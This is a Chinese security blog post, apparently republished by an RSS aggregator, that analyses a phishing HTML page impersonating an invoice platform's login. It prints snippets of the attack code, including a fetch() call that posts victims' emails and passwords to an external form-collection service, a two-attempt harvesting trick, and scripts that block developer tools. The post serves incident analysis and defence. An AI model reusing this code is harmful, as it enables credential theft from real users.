惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

U
Unit 42
F
Fortinet All Blogs
Martin Fowler
Martin Fowler
钛媒体:引领未来商业与生活新知
钛媒体:引领未来商业与生活新知
IT之家
IT之家
Blog — PlanetScale
Blog — PlanetScale
罗磊的独立博客
V
V2EX
Vercel News
Vercel News
Apple Machine Learning Research
Apple Machine Learning Research
J
Java Code Geeks
freeCodeCamp Programming Tutorials: Python, JavaScript, Git & More
T
Tailwind CSS Blog
I
InfoQ
Engineering at Meta
Engineering at Meta
WordPress大学
WordPress大学
S
SegmentFault 最新的问题
H
Help Net Security
腾讯CDC
D
Docker
P
Proofpoint News Feed
GbyAI
GbyAI
博客园 - 三生石上(FineUI控件)
aimingoo的专栏
aimingoo的专栏

卷卷

今日说法 节目汇总笔记 《斯坦福大学人生设计课》读书笔记 我的书单📖 H-worm (VBS蠕虫) 感染事件溯源分析报告 AMOS (Atomic Stealer) 恶意软件深度分析 银狐26年全面复活,对抗强度或已超25年最高水平 Atomic Stealer (AMOS) 回归:ClickFix、伪装加密货币应用与新型 macOS 持久化机制 关于xt.exe的分析报告 GitHub Pages配置Cloudflare CDN踩坑之路 推荐RSS热力图和Github热力图使用指南 学习逆向工程相关概念 zabbix快速上手 学习python高级语法特性例题笔记 学习云计算基本理论学习笔记 学习Docker-Compose命令及镜像构建与推送 ATT &CK 框架实践阅读笔记 rundll32.exe恶意加载DLL文件外联 《悉达多》读书笔记 《稀缺》读书笔记 《认知觉醒》读书笔记 《营养学》读书笔记 《心理学》读书笔记 热💖生活 C++开发环境配置与程序运行笔记 IDA Free调试Hello World笔记 逆向免杀 Admin.canway账号命名方式 BAS - Breach and Attack Simulation Windows核心系统进程链与svchost深度解析 企业测试环境的弱口令需要整改吗
仿真钓鱼页面窃取用户凭证
卷卷 · 2026-01-04 · via 卷卷

仿真钓鱼页面窃取用户凭证

原创2026/1/4...大约 3 分钟


钓鱼最简单的方法就是网页复制下来修改后发给受害者窃取账密。
可惜出师未捷身先死~~~
告警报检测到恶意文件,根据告警信息找到了用户。
用户收到电子邮件并且还联系了用户。

邮件
邮件

拿到文件就以HTML。页面模仿了“某某发票平台”官网的登录模块,包括通过Base64内联编码的Logo图像、底部版权声明及隐私政策链接布局,甚至连页面标题和浏览器图标都指向了真实的官网CDN资源。

钓鱼页面
钓鱼页面

攻击载荷隐藏在表单提交事件处理器(addEventListener('submit'))中。当用户在仿冒页面输入账号密码并点击“快速登录”按钮后,页面会执行以下恶意流程:

前端代码会对用户输入的“邮箱”字段进行预处理。它尝试从当前浏览器地址栏的URL片段标识符(即window.location.hash​)中提取经过Base64编码或明文传递的邮箱字符串,并自动填充到输入框。通过构造形如hxxps://fake-invoice-login.xxx/#dGVzdHVzZXJAZ21haWwuY29t的链接,实现针对特定目标的个性化攻击,提升欺骗成功率。

// URL hash 自动填充邮箱
const hash = decodeURIComponent(window.location.hash.substring(1));
document.getElementById('email').value = decoded;

面通过一个fetch​ API请求,以application/x-www-form-urlencoded格式,将用户输入的明文邮箱、经过Base64二次编码的邮箱以及明文密码,通过HTTP POST方法发送至一个第三方表单收集服务域名。用于接收窃取凭证。

// 将用户输入的邮箱和密码发送到第三方服务器
fetch('https://submit-form.com/c5ibqklFJ', {
  method: 'POST',
  body: `email=${encodeURIComponent(email)}&password=${encodeURIComponent(password)}`
})

页面设计了一个“尝试次数”控制逻辑。代码中定义了一个计数器变量attempts​。当用户首次提交表单并触发数据外传后,计数器累加,页面会显示一条错误信息:“邮箱或密码错误 第 1 次尝试”,诱导用户再次输入。当用户第二次提交(即attempts >= 2​)时,页面才会执行最终跳转,将用户浏览器重定向至“某票平台”真正的官方登录页面(hxxps://xxxx.com/chn/en/login)。它为攻击者提供了两次窃取用户凭证的机会,用户可能会怀疑自己首次输错;最终导向真实官网的跳转,完美地掩盖了中间发生的盗窃行为,用户大概率会认为是自己记错了密码,而不会意识到凭证已泄露。

第3次尝试才跳转到真正的登录页面
前2次尝试会窃取凭证

let attempts = 0;
if (attempts >= 2) {
  window.location.href = 'https://xxxx.com/chn/en/login';
}

攻击代码中还包括通过键盘事件监听,禁用浏览器的F12开发者工具、Ctrl+U查看源码、Ctrl+Shift+I打开控制台以及复制、全选等常用快捷键。同时,它还禁用了页面文本的选择和拖拽操作。并且这代码还是用AI生成的。

<script>
  // Disable key combinations
  document.addEventListener('keydown', function(e) {
    // F12
    if (e.key === "F12") e.preventDefault();

    // Ctrl+U, Ctrl+S, Ctrl+C, Ctrl+Shift+I
    if ((e.ctrlKey && e.key === 'u') ||
        (e.ctrlKey && e.key === 's') ||
        (e.ctrlKey && e.key === 'c') ||
        (e.ctrlKey && e.shiftKey && e.key.toLowerCase() === 'i')) {
      e.preventDefault();
    }

    // Ctrl+A or Ctrl+X (cut/copy all)
    if ((e.ctrlKey && e.key === 'a') ||
        (e.ctrlKey && e.key === 'x')) {
      e.preventDefault();

  // Optional: Disable text selection
  document.addEventListener('selectstart', function(e) {

  // Optional: Disable drag events
  document.addEventListener('dragstart', function(e) {

</script>